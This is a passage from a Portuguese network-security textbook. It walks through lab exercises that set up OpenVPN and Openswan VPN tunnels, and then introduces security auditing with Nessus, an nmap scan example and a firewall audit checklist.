Get:5 http://linorg.usp.br lenny/main openvpn-blacklist 0.3 [1068kB]

Get:6 http://linorg.usp.br lenny/main openvpn 2.1~rc11-1 [404kB]

Fetched 8948kB in 2min20s (63.6kB/s)


Capítulo 7 - Redes Privadas Virtuais

Preconfiguring packages ...

tar: ./conffiles: time stamp 2010-06-08 17:45:39 is 5089826.308233209


s in the future

tar: ./postinst: time stamp 2010-06-08 17:45:39 is 5089826.262979826


s in the future

tar: ./control: time stamp 2010-06-08 17:45:38 is 5089825.261959074 s


in the future

tar: ./md5sums: time stamp 2010-06-08 17:45:39 is 5089826.261059126

165
s in the future

tar: .: time stamp 2010-06-08 17:45:39 is 5089826.260466338 s in the


future

Selecting previously deselected package openssl.

(Reading database ... 19366 files and directories currently installed.)

Unpacking openssl (from .../openssl_0.9.8g-15+lenny7_i386.deb) ...

Selecting previously deselected package openssl-blacklist.

Unpacking openssl-blacklist (from .../openssl-blacklist_0.4.2_all.deb) ...

Selecting previously deselected package liblzo2-2.

Unpacking liblzo2-2 (from .../liblzo2-2_2.03-1_i386.deb) ...

Selecting previously deselected package libpkcs11-helper1.

Unpacking libpkcs11-helper1 (from .../libpkcs11-helper1_1.05-1_i386.


deb) ...

Selecting previously deselected package openvpn-blacklist.

Unpacking openvpn-blacklist (from .../openvpn-blacklist_0.3_all.deb) ...

Selecting previously deselected package openvpn.

Unpacking openvpn (from .../openvpn_2.1~rc11-1_i386.deb) ...

Processing triggers for man-db ...

Setting up openssl (0.9.8g-15+lenny7) ...

Setting up openssl-blacklist (0.4.2) ...

Setting up liblzo2-2 (2.03-1) ...

Setting up libpkcs11-helper1 (1.05-1) ...

Setting up openvpn-blacklist (0.3) ...

Setting up openvpn (2.1~rc11-1) ...

Restarting virtual private network daemon.:.

debian:~#

O projeto disponibiliza ainda, no seu site, um cliente de VPN SSL para as plataformas Micro-
soft Windows, Apple Mac OS X e Linux. A instalação desses clientes para Microsoft Windows
é realizada via método de instalação padrão de aplicativos para Windows.
Segurança de Redes e Sistemas

Configuração do OpenVPN
A configuração do OpenVPN pode ser realizada editando o arquivo de configuração padrão
ou criando um novo arquivo de configuração. No caso de criar um novo arquivo, é neces-
sário fazer referência a esse novo arquivo de configuração na inicialização do serviço.

166
Exemplo de configuração do servidor OpenVPN:

;local a.b.c.d

port 1194

;proto tcp

proto udp

;dev tap

dev tun

;dev-node MyTap

ca ca.crt

cert server.crt

dh dh1024.pem

server 10.8.0.0 255.255.255.0

ifconfig-pool-persist ipp.txt

;server-bridge 10.8.0.4 255.255.255.0 10.8.0.50 10.8.0.100

;server-bridge

;push “route 192.168.10.0 255.255.255.0”

;push “route 192.168.20.0 255.255.255.0”

;client-config-dir ccd

;route 192.168.40.128 255.255.255.248

;client-config-dir ccd

;route 10.9.0.0 255.255.255.252

;learn-address ./script

;push “redirect-gateway def1 bypass-dhcp”

;push “dhcp-option DNS 208.67.222.222”

;push “dhcp-option DNS 208.67.220.220”


Capítulo 7 - Redes Privadas Virtuais

;client-to-client

;duplicate-cn

keepalive 10 120

comp-lzo

;max-clients 100

167
;user nobody

;group nogroup

persist-key

persist-tun

status openvpn-status.log

;log openvpn.log

;log-append openvpn.log

verb 3

;mute 20

É importante ressaltar que a VPN pode trabalhar em modo transparente (bridge) ou roteada
(routing). Desta forma, será necessário configurar o kernel do Linux para que trabalhe de acordo
com um dos modos, conforme realizado no capítulo 3. Será necessário também ajustar as
regras de firewall para permitir o fluxo de pacotes para a interface virtual do OpenVPN.

A configuração do cliente pode ser realizada também por arquivo de configuração, o que
facilita a distribuição de pacotes em larga escala. Abaixo a tela de configuração para o cliente
OpenVPN, na plataforma Microsoft Windows XP.

Figura 7.12
Cliente de OpenVPN
para Windows XP.
Segurança de Redes e Sistemas

168
Roteiro de Atividades 7
Atividade 1 – VPN IPSec
Nestas atividades iremos praticar os conceitos de VPN aprendidos neste capítulo. Para isso
vamos implementar as tecnologias de VPN IPSec e VPN SSL.

VPN IPSec é amplamente utilizada como tecnologia de VPN para interconectar redes.
Vamos implementar um túnel IPSec com o Openswan para interligar duas redes de vizinhos
no laboratório. Essa atividade é complexa e envolve a configuração em duas estações de
alunos. Escolha um colega próximo e combine com antecedência o que cada um vai fazer.
A cooperação e o planejamento são fatores fundamentais para o sucesso da prática. Um
aluno vai configurar os equipamentos da Topologia A e o outro aluno vai configurar os
equipamentos da Topologia B.

Conforme ilustra a figura a seguir, iremos interligar a rede de topologia A com a rede de
topologia B, utilizando o Openswan configurado no gateway FWGW1 de cada um dos alunos.

Internet

Topologia A FWGW1 FWGW1 Topologia B

DHCP DHCP

DMZ 172.16.1.0/24 DMZ 172.16.2.0/24

Servidor Servidor Servidor Servidor


Windows Linux Linux Windows

Rede local 10.1.1.0/24 Rede local 10.1.2.0/24


Capítulo 7 - Roteiro de Atividades

Host Windows Host Windows

Configure o OpenSwan no host FWGW1, para permitir a comunicação das máquinas da rede
local remota com os seus servidores da DMZ. Exemplo: se você está configurando o cenário
da Topologia A, você vai configurar o Openswan para permitir que os usuários da rede
10.1.2.0/24 acessem os servidores de sua DMZ, rede 172.16.1.0/24.

169
Passo 1 Acesse o host FWGW1, atualize a lista de pacotes do Debian e instale o pacote
Openswan:
# apt-get update
# apt-get install openswan
Você será questionado se quer utilizar Opportunistc Encryption (OE): res-
ponda “No”.
Será questionado também se quer gerar as chaves RSA. Responda “No”,
porque utilizaremos uma frase-senha (Pre shared key).

Passo 2 Aguarde seu colega concluir o Passo 1 para iniciarem juntos o Passo 3.

Passo 3 Edite o arquivo de configuração do Openswan localizado em /etc/ipsec.conf


e adicione a seguinte conexão:
conn vpnlabrnp
left=X.X.X.X
leftsubnet=10.1.1.0/255.255.255.0
right=Y.Y.Y.Y
rightsubnet=10.1.2.0/255.255.255.0
ike=aes256-sha-modp1024
esp=aes256-sha1
pfs=no
ikelifetime=8h
keylife=8h
dpddelay=30
dpdtimeout=120
dpdaction=hold
authby=secret
auto=start

Onde X.X.X.X é o endereço IP que foi atribuído na interface eth0


(definida por DHCP) do host FWGW1-A.
Onde Y.Y.Y.Y é o endereço IP que foi atribuído na interface eth0
(definida por DHCP) do host FWGW1-B.
Left é o Grupo A.
Right é o Grupo B.

Passo 4 Para definir a frase-senha (Pre shared key), vamos editar o arquivo
/etc/ipsec.secrets
Atenção: observe a ordem dos hosts:
Para o Grupo A:
Y.Y.Y.Y X.X.X.X : PSK “vpnipsec”
Para o Grupo B:
Segurança de Redes e Sistemas

X.X.X.X Y.Y.Y.Y : PSK “vpnipsec”

Passo 5 Para iniciar a VPN IPSec, temos de iniciar o serviço nos dois gateways VPN
(FWGW1-A e FWGW1-B):
# /etc/init.d/ipsec start
# /etc/init.d/ipsec restart

170
Passo 6 Verifique se a conexão IPSec foi estabelecida:
# ipsec auto status

Passo 7 Verifique a conectividade com testes de ping para o host Windows XP de seu
colega de trabalho. Por exemplo, se você é Grupo A, no host Windows XP, faça:
C:\> ping 10.1.2.10

Para esta atividade é recomendado deixar o firewall do host FWGW1 inicialmente


desabilitado. Apenas configure o firewall do FWGW1 após obter êxito na configu-
ração da VPN. Isso diminuirá as possibilidades de falha na comunicação.

Atividade 2 – VPN SSL


Nesta atividade, iremos configurar um servidor e um cliente para estabelecer uma sessão VPN
SSL. Para o estabelecimento da sessão VPN SSL, utilizaremos o OpenVPN configurado como
servidor no host GWFW1 e o cliente instalado na estação de trabalho da rede Local Windows XP.

1. Configurar o host FWGW1 como servidor de VPN SSL, que receberá conexões na interface
externa conectada à internet de um vizinho de laboratório.

Passo 1 Instale o OpenVPN no gateway Linux FWGW1 com o comando:


# apt-get install openvpn

Passo 2 Para gerar os certificados, vamos utilizar o conjunto de scripts “EASY-RSA”,


que acompanha o pacote do OpenVPN.
Entre no diretório /usr/share/doc/openvpn/examples/easy-rsa/2.0 e utilize os
seguintes comandos para inicializar as configurações do script:
# . ./vars
# ./clean-all
Para gerar os certificados do CA, utilize o seguinte
comando:
# ./build-ca
Serão solicitados os parâmetros do certificado. Exemplo:
Country Name (2 letter code) [US]:BR
State or Province Name (full name) [CA]:Distrito Federal
Locality Name (eg, city) [SanFrancisco]:Brasilia
Organization Name (eg, company) [Fort-Funston]:Rede
Nacional de Pesquisa
Organizational Unit Name (eg, section) []: Escola Superior
de Redes
Capítulo 7 - Roteiro de Atividades

Common Name (eg, your name or your server’s hostname)


[Fort-Funston CA]:ca.rnp.br
Email Address [me@myhost.mydomain]:ca@rnp.br

171
Passo 3 Para gerar o certificado do servidor OpenVPN, vamos utilizar o comando:
# ./build-key-server FWGW1-G
Serão solicitadas informações para o certificado do servidor.
Podemos utilizar o exemplo:
Country Name (2 letter code) [US]:BR
State or Province Name (full name) [CA]:Distrito Federal
Locality Name (eg, city) [SanFrancisco]:Brasilia
Organization Name (eg, company) [Fort-Funston]: Rede
Nacional de Pesquisa
Organizational Unit Name (eg, section) []:Escola Superior de
Redes
Common Name (eg, your name or your server’s hostname)
[FWGW1-A]:fwgw1-G.esr.rnp.br
Email Address [me@myhost.mydomain]:admin@esr.rnp.br

Please enter the following ‘extra’ attributes


to be sent with your certificate request
A challenge password []:
Ao final serão realizadas duas perguntas. As respostas devem ser positivas.

Passo 4 Para gerar o certificado do cliente, podemos utilizar o comando:


# ./build-key clienteXP
Será solicitado também os dados para o certificado do cliente, podemos
utilizar o exemplo:
Country Name (2 letter code) [US]:BR
State or Province Name (full name) [CA]:Distrito Federal
Locality Name (eg, city) [SanFrancisco]:Brasilia
Organization Name (eg, company) [Fort-Funston]: Rede
Nacional de Pesquisa
Organizational Unit Name (eg, section) []:Escola Superior de
Redes
Common Name (eg, your name or your server’s hostname)
[FWGW1-A]:clientexp.esr.rnp.br
Email Address [me@myhost.mydomain]:aluno@esr.rnp.br

Please enter the following ‘extra’ attributes


to be sent with your certificate request
A challenge password []:
Ao final serão realizadas duas perguntas. As respostas devem ser positivas.
Segurança de Redes e Sistemas

Passo 5 É necessário gerar também os parâmetros para o Diffie Hellman; para isso,
utilize o comando:
# ./build-dh

172
Passo 6 Os certificados foram gerados no subdiretório keys. Vamos copiar os certificados
necessários para o servidor para o diretório /etc/openvpn/keys com os comandos:
# mkdir /etc/openvpn/keys
# cp keys/ca.crt /etc/openvpn/keys
# cp keys/FWGW1-G.crt /etc/openvpn/keys
# cp keys/FWGW1-G.key /etc/openvpn/keys
# cp keys/dh1024.pem /etc/openvpn/keys

Para aumentar ainda mais o nível de segurança, vamos gerar uma chave
estática que deve ser configurada tanto no servidor quanto nos clientes da
VPN. Para isso execute dentro do diretório /etc/openvpn/keys (essa chave será
utilizada em outra atividade):
# openvpn --genkey --secret static.key

Passo 7 É necessário editar o arquivo de configuração do OpenVPN. No host FWGW1,


crie um arquivo com o seu editor de texto: /etc/openvpn/openvpn.conf.
Podemos utilizar o seguinte arquivo de configuração como exemplo:
port 1194
proto udp
dev tun

ca /etc/openvpn/keys/ca.crt
cert /etc/openvpn/keys/FWGW1-G.crt
dh /etc/openvpn/keys/dh1024.pem

server 10.8.G.0 255.255.255.0


ifconfig-pool-persist ipp.txt

push “route 10.1.G.0 255.255.255.0”


push “route 172.16.G.0 255.255.255.0”

keepalive 10 120
comp-lzo
persist-key
persist-tun
status openvpn-status.log
verb 3

Passo 8 Inicie o servidor OpenVPN com o comando:


Capítulo 7 - Roteiro de Atividades

# /etc/init.d/openvpn start

Passo 9 Forneça as chaves do cliente para o seu colega de laboratório utilizar na


estação Windows XP que será utilizada por ele para estabelecer a VPN. Você
precisa fornecer os seguintes arquivos:
keys/clienteXP.crt
keys/clienteXP.key
keys/ca.crt
keys/dh1024.pem
keys/static.key

173
Configure o host Windows XP para estabelecer a conexão VPN SSL com o gateway de seu
colega. Iremos utilizar o cliente de VPN disponibilizado no site do OpenVPN.

Passo 1 A partir do host Windows XP, com um navegador, entre no site do OpenVPN
(http://openvpn.net/) faça o download da última versão do cliente OpenVPN
para Windows XP e proceda com a instalação do cliente. Por exemplo:
http://swupdate.openvpn.net/community/releases/openvpn-2.1.4-install.exe

Passo 2 Coloque os certificados fornecidos pelo seu colega de laboratório na pasta:


C:\Program Files\OpenVPN\config

Passo 3 Crie o arquivo de configuração para a conexão VPN:


C:\Program Files\OpenVPN\config\Lab07SEG2.ovpn
Com o seguinte conteúdo:
client
dev tun
proto udp

remote Y.Y.Y.Y 1194


resolv-retry infinite
nobind

persist-key
persist-tun

ca ca.crt
cert clienteXP.crt
key clienteXP.key

verb 3
Onde Y.Y.Y.Y é o endereço público (interface eth0) do firewall (FWGW1) do seu
colega de laboratório, onde será estabelecida a VPN.

Passo 4 Abra o Windows Explorer na pasta de configuração do OpenVPN:


C:\Program Files\OpenVPN\config
Clique com o botão direito do mouse sobre o arquivo de configuração criado
no passo anterior.
Segurança de Redes e Sistemas

Escolha a opção “Start OpenVPN on this config file”.

174
Passo 5 Verifique o funcionamento com testes de ping. Ex.:
C:\>ping 172.16.G.10

Pinging 172.16.G.10 with 32 bytes of data:

Reply from 172.16.G.10: bytes=32 time=5ms TTL=63


Reply from 172.16.G.10: bytes=32 time=4ms TTL=63
Reply from 172.16.G.10: bytes=32 time=2ms TTL=63
Reply from 172.16.G.10: bytes=32 time=5ms TTL=63

Ping statistics for 172.16.1.10:


Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 2ms, Maximum = 5ms, Average = 4ms

C:\>ping 10.1.G.10

Pinging 10.1.G.10 with 32 bytes of data:

Reply from 10.1.G.10: bytes=32 time=5ms TTL=64


Reply from 10.1.G.10: bytes=32 time=1ms TTL=64
Reply from 10.1.G.10: bytes=32 time=1ms TTL=64
Reply from 10.1.G.10: bytes=32 time=1ms TTL=64

Ping statistics for 10.1.G.10:


Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 1ms, Maximum = 5ms, Average = 2ms

C:\>

Capítulo 7 - Roteiro de Atividades

175
Atividade 3 – Servidor VPN SSL para múltiplos clientes
Nesta atividade, vamos realizar uma configuração mais avançada do OpenVPN. O objetivo é
implementar uma solução de VPN para vários clientes simultâneos. A próxima figura ilustra
como seria essa topologia:

Internet

Topologia A FWGW1 Host


Windows

DHCP Host
Windows

DMZ 172.16.1.0/24

Host
Servidor Servidor Windows
Windows Linux

Rede local 10.1.1.0/24

Host Windows
Segurança de Redes e Sistemas

176
1. Vamos configurar o host FWGW1 como servidor de VPN SSL para múltiplos clientes, que
receberá conexões na interface externa conectada à internet.

Passo 1 Caso não exista, crie um usuário chamado aluno com a senha rnpesr
#adduser aluno
Para atender à necessidade acima, será necessário, ainda, inserir uma
regra de firewall para realizar o NAT de todos os pacotes cuja origem seja a
rede VPN e o destino seja as máquinas da rede interna.
#/sbin/iptables –t nat -A POSTROUTING -s
10.8.G.0.0/255.255.255.0 -o eth0 -j MASQUERADE
Modificar o arquivo /etc/openvpn/server.conf com o conteúdo abaixo.
Observe que várias linhas que estão comentadas poderiam ser utilizadas
no seu ambiente. Digite apenas as linhas que não estão comentadas.
;;;;;;;;;;;;;;;;;;
; confs do servico
;;;;;;;;;;;;;;;;;;
mode server # Habilita modo site-to-client
tls-server # Servidor de Certificado
proto udp # Protocolo
port 1194 # Porta
dev tun # Nome para interface virtual
max-clients 10 # Limita a quantidade máxima de
clientes

;;;;;;;;;;;;;;;;;;
; confs dos certificados
;;;;;;;;;;;;;;;;;;;;;;;;
dh /etc/openvpn/keys/dh1024.pem
ca /etc/openvpn/keys/ca.crt
cert /etc/openvpn/keys/FWGW1-G.crt
key /etc/openvpn/keys/ FWGW1-G.key
tls-auth /etc/openvpn/keys/static.key
duplicate-cn #permite vários clientes com única chave

;;;;;;;;;;;;;;;;;;;;;
;confs de rede
;IP-SRV 10.8.G.1 /
;IP-NWK 10.8.G.0
Capítulo 7 - Roteiro de Atividades

;;;;;;;;;;;;;;;;;;;;;
# fornece a subrede da VPN (implica automaticamente tls)
server 10.8.G.0 255.255.255.0

#define as rotas para os clientes


push “route 10.1.G.0 255.255.255.0”
push “route 172.16.G.0 255.255.255.0”
# fixar endereços ips para clientes
ifconfig-pool-persist ipp.txt

177
;;;;;;;;;;;;;;;;;;;;;;;;
;Ativa compactação de pacotes
;;;;;;;;;;;;;;;;;;;;;;;;
comp-lzo

;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
;confs de manutenção de estado
; do tunel por ping
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
push “ping 10”
push “ping-restart 60”
keepalive 10 120
persist-key
persist-tun
tls-timeout 120

;;;;;;;;;;;;;;;;;;;;;;;;
;confs de armazenamento
; de logs
;;;;;;;;;;;;;;;;;;;;;;;;
status-version 2 # Versao do status
status /var/log/openvpn-status.log # Local de armaz status
log-append /var/log/openvpn.log # Local de armaz log
verb 4 # nivel detalhamento

;;;;;;;;;;;;;;;;;;;;;
;confs do modulo PAM
;;;;;;;;;;;;;;;;;;;;;
plugin /usr/lib/openvpn/openvpn-auth-pam.so login
username-as-common-name

Reinicie o servidor OpenVPN


# /etc/init.d/openvpn restart
Segurança de Redes e Sistemas

Antes de continuar, verifique se os horários de todos os


equipamentos estão sincronizados.

178
Passo 2 Agora vamos configurar um cliente para o OpenVPN. Crie o arquivo client.
ovpn na pasta C:\Program Files\OpenVPN\config com o conteúdo abaixo:
remote Y.Y.Y.Y
proto udp
port 1194
client
pull
dev tun
comp-lzo
keepalive 10 120
persist-key
persist-tun
float
tls-client
dh dh1024.pem
ca ca.crt
cert clienteXP.crt
key clienteXP.key
tls-auth static.key
auth-user-pass
Onde Y.Y.Y.Y é o endereço público (interface eth0) do firewall (FWGW1) do
seu colega de laboratório, onde será estabelecida a VPN.

Passo 3 Abra o Windows Explorer na pasta de configuração do OpenVPN:


C:\Program Files\OpenVPN\config
Clique com o botão direito do mouse sobre o arquivo de configuração
criado no passo anterior.

Escolha a opção “Start OpenVPN on this config file”.


Capítulo 7 - Roteiro de Atividades

179
Passo 4 Verifique o funcionamento com testes de ping. Ex.:
C:\>ping 172.16.G.10

Pinging 172.16.G.10 with 32 bytes of data:

Reply from 172.16.G.10: bytes=32 time=5ms TTL=63


Reply from 172.16.G.10: bytes=32 time=4ms TTL=63
Reply from 172.16.G.10: bytes=32 time=2ms TTL=63
Reply from 172.16.G.10: bytes=32 time=5ms TTL=63

Ping statistics for 172.16.1.10:


Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 2ms, Maximum = 5ms, Average = 4ms

C:\>ping 10.1.G.10

Pinging 10.1.G.10 with 32 bytes of data:

Reply from 10.1.G.10: bytes=32 time=5ms TTL=64


Reply from 10.1.G.10: bytes=32 time=1ms TTL=64
Reply from 10.1.G.10: bytes=32 time=1ms TTL=64
Reply from 10.1.G.10: bytes=32 time=1ms TTL=64

Ping statistics for 10.1.G.10:


Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
Minimum = 1ms, Maximum = 5ms, Average = 2ms

C:\>
Segurança de Redes e Sistemas

180
8
Auditoria de Segurança
da Informação
objetivos

Realizar uma auditoria com a ferramenta Nessus, diferenciar análise de


vulnerabilidades de testes de penetração e estudar conceitos relacionados
à auditoria de Segurança da Informação.

conceitos
Análise de vulnerabilidades, testes de penetração e auditorias de Segurança
da Informação com a ferramenta Nessus.

Introdução
Podemos definir auditoria como a medição de algo contra um padrão. Apesar de estarmos
tratando de Segurança da Informação, o conceito de auditoria pode ser aplicado em qual-
quer área, como qualidade, ambiental, financeira, de conformidade etc.

Quando tratamos especificamente de auditoria de SI, podemos estar auditando o cumpri-


mento de uma política de segurança, a eficácia de um novo sistema de segurança (como
um firewall), se um sistema está com todas as correções conhecidas aplicadas, entre
outros. Neste capítulo, vamos tratar especificamente de auditoria de segurança, utilizando
ferramentas e técnicas para verificar se as implementações de segurança realizadas nos
capítulos anteriores estão provendo o nível de segurança especificado. Entre as técnicas
utilizadas em auditorias, as mais comuns são a análise de vulnerabilidades e os testes de Capítulo 8 - Auditoria de Segurança da Informação
penetração (penetration testing ou pentest).

É importante ressaltar que este capítulo trata apenas da auditoria de dispositivos de segu-
rança, sem entrar em questões de políticas, análise de risco e outros tópicos relacionados
à governança e normatização. Esses assuntos são tratados em detalhes no curso Gestão da
Segurança da Informação – NBR 27001 e NBR 27002, oferecido pela Escola Superior de Redes.

Exercício de nivelamento 1 e
Auditoria de Segurança da Informação
O que você entende por auditoria de segurança da informação?

181
Como a auditoria de dispositivos de segurança é realizada na sua organização?

Análise de vulnerabilidades
Vulnerabilidade: q
11 Falha em um sistema computacional.

11 Bugs (software).

11 Falha de configuração.

Sistemas vulneráveis:

11 Software.

11 Sistema operacional.

11 Roteador.

11 Protocolo.

11 Hardware.

Exploração de vulnerabilidade:

11 Estouros de pilha.

11 Negação de serviços.

11 Acesso irrestrito.

Uma vulnerabilidade pode ser definida como uma brecha em um sistema computacional.
Quando tratamos de programas (software), essas vulnerabilidades são muitas vezes chamadas
de bugs. Um sistema vulnerável pode ser um software, um sistema operacional, um roteador, Bug
um protocolo ou até um hardware. Essas vulnerabilidades podem ser exploradas com o intuito Falha ou vulnerabilidade
em um programa ou
de subverter o sistema em questão, causando indisponibilidade, obtendo controle sobre ele,
sistema.
acessando dados sensíveis ou utilizando o sistema para atacar outros sistemas.

Existem diversos tipos de vulnerabilidades, sendo os mais comuns as vulnerabilidades de


software, causadas muitas vezes por validação insuficiente dos parâmetros recebidos, e as
vulnerabilidades em protocolos ou serviços. Essas vulnerabilidades podem levar a estouros
de pilha (buffer overflow), negação de serviços (DoS e DDoS), e até a acesso irrestrito ao DoS
sistema vulnerável. Denial of Service é a
negação ou indisponi-
Essas vulnerabilidades normalmente são descobertas por pesquisadores, que podem ser da bilidade de um serviço
causada por um ataque.
própria empresa que fabrica o produto ou pesquisadores independentes, que costumam noti-
ficar as empresas sobre a falha para que elas possam lançar correções antes da divulgação
DDoS
pública. Infelizmente, muitos administradores não aplicam as correções de segurança dos
Distributed Denial of
fabricantes nos sistemas sob sua administração, de modo que estes ficam vulneráveis a falhas
Segurança de Redes e Sistemas

Service é o ataque de
conhecidas e amplamente divulgadas. Uma forma eficiente de verificar se uma rede, aplicação negação de serviço
ou sistema operacional está suscetível a determinadas falhas é com o uso de ferramentas de realizado de forma dis-
tribuída e coordenada
análise de vulnerabilidades. Essas ferramentas utilizam assinaturas ou regras que simulam
falhas conhecidas e produzem um relatório com os problemas encontrados e possíveis solu-
ções. É importante, porém, salientar que a análise de vulnerabilidade não substitui o controle
da aplicação de correções dos fabricantes dos produtos utilizados em uma organização, pois
confiar na ferramenta pode levar à não aplicação de uma correção caso ela esteja desatuali-
zada ou mesmo não tenha sido atualizada para verificar uma vulnerabilidade específica.

182
Como novas falhas são encontradas todos os dias, uma boa ferramenta de análise de vulne-
rabilidades deve ser constantemente atualizada, de modo que possa detectar as falhas mais
recentes descobertas. Existe atualmente uma série de ferramentas de análise de vulnerabili-
dades, gratuitas e comerciais. Algumas ferramentas gratuitas / open source: Nmap, Nessus,
OpenVas, Microsoft MBSA; comerciais: Rapid7 NeXpose, eEye Retina, GFI LANguard, IBM
Internet Scanner.

A seguir, detalharemos o uso da ferramenta Nessus, que é gratuita para fins não comerciais
e pode ser obtida livremente na internet.

Exercício de fixação 1 e
Análise de vulnerabilidades
Como pode ser realizada uma análise de vulnerabilidades?

Instalação do Nessus
O Nessus é uma ferramenta de análise de vulnerabilidades, atualmente mantida pela
empresa Tenable Network Security. Apesar de originalmente ser uma ferramenta open
source, hoje a sua licença permite o uso gratuito apenas residencial e para treinamento. O
uso comercial necessita da aquisição de uma licença específica. Por conta dessas mudanças,
foi criado um novo produto, a partir da última versão livre do Nessus, atualmente conhecido
como OpenVAS. Por questões didáticas e pelo fato de estar mais adequado ao laboratório
prático, utilizaremos o Nessus nas atividades.

Para instalar o Nessus é necessário baixar o pacote específico para o Linux Debian, utilizado
no laboratório, uma vez que a versão mais recente ainda não se encontra disponível nos
repositórios para instalação com apt-get. O download do Nessus pode ser feito no seguinte
endereço: http://www.nessus.org/

A instalação segue os seguintes passos:

1. Baixe o pacote para Debian 5.0 (32 bits) no site indicado.

2. Instale o pacote com o comando dpkg –i <nome do pacote>. A instalação pode demorar um
pouco, seja paciente.
Capítulo 8 - Auditoria de Segurança da Informação
3. Acesse o endereço http://www.nessus.org/register para obter uma chave de registro.
Para registrar o Nessus para uso doméstico, será necessário fornecer um endereço de
correio eletrônico, para que a chave seja enviada. No e-mail recebido, encontra-se refe-
rência ao comando necessário para inserir a chave na ferramenta:
/opt/nessus/bin/nessus-fetch --register <chave de ativação>.

4. Execute o comando /opt/nessus/sbin/nessus-adduser para criar um usuário com direitos de


administrador para o Nessus.

FWGW1:~# /opt/nessus/sbin/nessus-adduser

Login : rnp

Login password :

Login password (again) :

183
Do you want this user to be a Nessus ‘admin’ user ? (can upload
plugins, etc...) (y/n) [n]: y

User rules

----------

nessusd has a rules system which allows you to restrict the hosts

that rnp has the right to test. For instance, you may want

him to be able to scan his own host only.

Please see the nessus-adduser manual for the rules syntax

Enter the rules for this user, and enter a BLANK LINE once you are
done :

(the user can have an empty rules set)

Login : rnp

Password : ***********

This user will have ‘admin’ privileges within the Nessus server

Rules :

Is that ok ? (y/n) [y] y

User added

Por fim, inicie o Nessus com o comando /etc/init.d/nessusd start.

Auditoria com o Nessus


Instalação: q
11 Baixar o pacote.

11 Instalar o pacote (dpkg –i <pacote>).

11 Obter chave de registro.

11 Criar um usuário no Nessus.

11 Iniciar o Nessus.
Segurança de Redes e Sistemas

Auditoria:

11 Criação de uma política e de uma varredura.

Iniciando a varredura
Para realizar uma auditoria, necessitamos inicialmente acessar o servidor Nessus no endereço:
https://<servidor_nessus>:8834

Entre com o usuário e a senha, criados nas etapas anteriores.

184
Figura 8.1
Tela de login
do Nessus.

Através da tela principal do Nessus, podemos criar uma política (policy), para ser usada na
auditoria. Clique no botão Add, para adicionar uma política. Na próxima tela, nomeie essa
política. Inicialmente, deixaremos os valores padrão.

Capítulo 8 - Auditoria de Segurança da Informação

Figura 8.2
Política.

185
Após criar a política, salve-a e crie uma varredura (scan). Defina um nome, escolha a política
recém-criada e a rede que será auditada. Neste exemplo, auditaremos a nossa rede de
servidores (172.16.1.0/24).

Figura 8.3
Configuração
Nessus.

Por fim, iniciaremos a auditoria clicando no botão Launch scan para iniciar a auditoria, que
após seu término terá o relatório disponível na guia Reports, conforme a próxima tela.
Segurança de Redes e Sistemas

Figura 8.4
Relatório
do Nessus.

Nos relatórios, podemos verificar as vulnerabilidades encontradas, classificadas por tipo e


diferenciadas por servidor auditado.

186
Exemplo de auditoria em firewall
ivocarv$ nmap 192.168.1.0/24

Starting Nmap 5.00 ( http://nmap.org ) at 2010-12-30 17:58 BRT

Interestingportson 192.168.1.1:

Notshown: 997 closedports

PORT STATE SERVICE

23/tcp open telnet

80/tcp open http

5431/tcp open park-agent

O horário do firewall está correto? Ele está sendo sincronizado com uma fonte de tempo confiável?

Como foi dito, auditoria de segurança é um assunto vasto. Podemos auditar um perímetro,
uma rede, um sistema operacional, uma aplicação ou um ativo de rede específico como um
roteador, switch, hub. Neste capítulo veremos um exemplo de auditoria em um firewall.
Normalmente uma auditoria é realizada com base em uma norma ou boas práticas em segu-
rança. Neste exemplo estaremos realizando uma auditoria frente às boas práticas.

Podemos destacar alguns aspectos que serão analisados nesta auditoria: q


11 Arquitetura do firewall.

11 Testando o firewall.

11 Testando as regras do firewall.

11 Alertas e registros.

Arquitetura do firewall
Neste ponto da auditoria, estamos preocupados se a arquitetura definida realmente cumpre
os objetivos que foram definidos. O auditor deve verificar as seguintes questões, entre outras:

11 Diferentes redes ligadas ao firewall estão fisicamente separadas?

11 Existem hubs sendo usados na rede? (Hubs podem ter todo o tráfego que passa por
ele monitorado). Capítulo 8 - Auditoria de Segurança da Informação

11 Como o firewall está controlando o fluxo de informação?

11 O diagrama lógico do perímetro está correto?

11 A segmentação realizada é suficiente?

22 Deve-se adicionar ou remover um firewall?

22 Deve-se adicionar ou remover interfaces de rede?

Testando o firewall
Existem recursos de segurança específicos para a plataforma que está sendo auditada?
Eles estão bem configurados?

187
Existem duas categorias diferentes de firewall: os que rodam em cima de um sistema ope-
racional e os chamados appliances, que são equipamentos específicos que fazem o papel Appliance
de firewall (ex.: um switch com firewall embutido, um roteador com filtros de pacotes, um Serviço que executa
dentro de um hardware
firewall embutido em uma caixa física).
dedicado e otimizado
para a aplicação
Cada tipo tem suas vantagens e desvantagens: os baseados em sistemas operacionais são
em questão.
mais flexíveis, porém são suscetíveis a vulnerabilidades no sistema operacional usado; os
appliances são normalmente mais seguros “de fábrica”, porém normalmente são proprietá-
rios e será preciso confiar no fabricante no que tange à segurança.

Neste ponto da auditoria, as seguintes questões são importantes:

11 Quais serviços estão executando no firewall? Eles são necessários? Eles são seguros?

11 Existem correções de segurança que podem ser aplicadas no appliance ou no


sistema operacional?

11 Quais as recomendações básicas de configuração do fabricante? Elas foram aplicadas?

11 Existem acessos de administrador ao firewall? Eles estão com o mínimo


de permissão possível?

11 Uma ferramenta de auditoria relata algum problema com o firewall?

11 Existem recursos de segurança específicos para a plataforma que está sendo auditada?
Eles estão bem configurados?

Testando as regras do firewall


As bases de regras de um firewall costumam crescer com o tempo, por conta de solicitações
de inclusão de novos servidores e novos serviços oferecidos na rede, e também de conexões
com novas redes. Após alguns meses de manutenção das regras de um firewall, elas podem
se tornar bastante complexas. Essa complexidade pode esconder regras redundantes, isto
é, regras temporárias que nunca foram removidas ou até mesmo regras incorretas que
ficaram esquecidas.

O auditor deve analisar as regras do firewall, de modo a encontrar e eliminar essas inconsis-
tências, além de procurar simplificar as regras para facilitar uma visualização futura. A ideia
